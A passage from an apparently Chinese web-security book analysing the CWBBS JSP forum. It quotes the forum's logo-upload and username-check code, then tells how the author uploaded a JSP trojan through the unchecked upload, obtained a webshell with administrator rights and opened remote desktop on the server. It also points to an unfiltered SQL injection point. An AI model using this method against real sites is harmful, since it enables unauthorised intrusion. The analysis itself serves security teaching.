<td width="80%" height="22" align="left"><input type="file" name="filename">

<input type=hidden name=userName value="<%=userName%>"></td>

</tr>

<tr align="center" bgcolor="#FFFFFF">

<td height="22" colspan="2"><p>

<input type="submit" name="Submit" value=" 修改图片 "> &nbsp;&nbsp;&nbsp;&nbsp; <br>

( 上传空文件将删除 LOGO,宽度可以通过上一个编辑框中的 LOGO 宽度来调整 ) </p>

<p>

<%

String img = as.getLogo(); //获得上传的 LOGO if (img!=null && !img.equals("")) {

//如果 LOGO 不为空,切执行也不为空,则判断宽度 String w = "";

if (as.getLogoWidth()>as.LOGO_NO_WIDTH) w = "width=" + as.getLogoWidth();

%>

<img src="<%=request.getContextPath() + "/" + img%>" <%=w%>>

<%}%>

//这里为LOGO 输出的路径

</p></td>

</tr>

</form> introduction.jsp 文 件 的 主 要 作 用 是 判 断 上 传 LOGO 的 宽 度 以 及 LOGO 输 出 的 路 径 , 下

面来看看 introduction_logo.jsp 文件对上传的 LOGO 是如何处理的,如下所示:

<jsp:useBean id="StrUtil" scope="page" class="cn.js.fan.util.StrUtil"/>

<jsp:useBean id="privilege" scope="page" class="com.redmoon.forum.Privilege"/>

<%

if (!privilege.isUserLogin(request)) {

out.print(StrUtil.makeErrMsg("请先登录!")); return;

} //判断是否登陆了

AuctionShopMgr asm = new AuctionShopMgr();

//创建一个asm 对象

try {

if (asm.modifyLogo(application, request))

//利用 asm 对象的 modifyLogo 方法执行从客户端获取的数据,并将它上传的服务器中

out.print(StrUtil.Alert_Redirect("Logo 修 改 成 功 ! ", "introduction.jsp?userName=" + StrUtil.UrlEncode(asm.getUserName())));

//如果上传成功,则输出“Logo 修改成功”并输出上传 LOGO 的路径 else

out.print(StrUtil.Alert_Back("Logo 修改失败!"));

//否则上传失败

}

catch (ErrMsgException e) { out.print(StrUtil.Alert_Back(e.getMessage()));

} //输出发生异常的信息

%>

从上面代码我们可以知道,我们上传的 LOGO 只是在 introduction.jsp 判断一下宽度,

然后就把 LOGO 传送到了 introduction_logo.jsp 中去了。不过在 introduction_logo.jsp确没有对上传的 LOGO 做任何的处理,就直接把它上传到了服务器中了。所以这里我们可以上传任何类型的文件。

因为是 JSP 网站,所以我这里上传一个 JSP 木马,不出所料,我们顺利的上传到了服

务器中去了。上传之后显示图片是一个叉叉,我们点击右键就可以看到我们上传的木马路径了,如图 14-40 所示。打开就可以看到 JSP 木马已经在服务器中执行了,我们得到了一个

JSP 的 webshell,如图 14-41 所示。

image

图 14-40 上传 JSP 木马成功

image

图 14-41 得到的 JSP 的 webshell

这个网站的服务器的安全性实在做的差劲,我们可以浏览任何盘符,权限直接就是管理员,我们上传一个开 3389 的工具上去,用命令执行完毕后。我们连接远程主机的 3389,一下就登陆了进去,如图 14-42 所示。

image

图 14-42 远程登陆主机

四、总结

上面就是我简单对 CWBBS 的分析过程,其安全性确实让人比较担心。上面我并没有提及注入漏洞,当然这并不代表不存在注入漏洞。而是注入漏洞隐藏的比较深,对于常见的参数,系统都已经进行转换了,如对参数 ID 则全部强制转换成了整型, 代码为 id = ParamUtil.getInt(request, "id");。所以当在参数 id 后添加一个单引号就会显示 idid不是整数的信息,如图 14-43 所示。

image

图 14-43 显示 id 不是整数

对于数字型注入一个 getInt()函数就全部给杜绝了,不过还有字符型的注入,比如在

论坛注册时,验证的那个用户名是否占有的程序,就没有用户输入的程序进行转换,如下所示:

String op = ParamUtil.get(request, "op");

/获得客户端输入的数据

if (op.equals("chkRegName")) { //验证用户名是否被占用 boolean re = false;

try{

String regName = ParamUtil.get(request, "RegName");

//获得我们输入的用户名

re = userservice.isRegNameExist(request, regName);

//执行查询,看是否已经被占用

}

catch(cn.js.fan.util.ErrMsgException e) { out.print(e.getMessage()); //发生异常就输出异常信息

%>

可以看到,我们输入的用户名没有过滤就被用去执行查询了,所以出现了典型注入漏洞。不过因为数据库查询操作被 JavaBean 给封装了,我们无法得到参数是如何处理的。所以要测试注入攻击比较难,也算是一个鸡肋级的漏洞。好在有一个上传漏洞让我们得到了 webshell。

对于分析系统漏洞,不仅仅只是局限于系统代码漏洞上的研究。同时也要利用服务器的各种不安全的因素为自己的入侵创造出更多的有利条件。分析代码的时候思路一定要清晰,还要根据不同的环境为自己创造出更多有利条件。

说明:非常感谢剑心优秀的 JSP 注入的文章,同时我写的分析 CWBBS 的文章之前并未公开,所以在拿到书的时候还可以去测试一下。

你从本章可以学到如下几点:

1、XML 基础知识

2、XML 安全问题简介

3、基于 XML 后台数据库的系统安全浅析

4、Ajax 技术基础知识

5、Ajax 的十大安全问题

6、Ajax 蠕虫病毒分析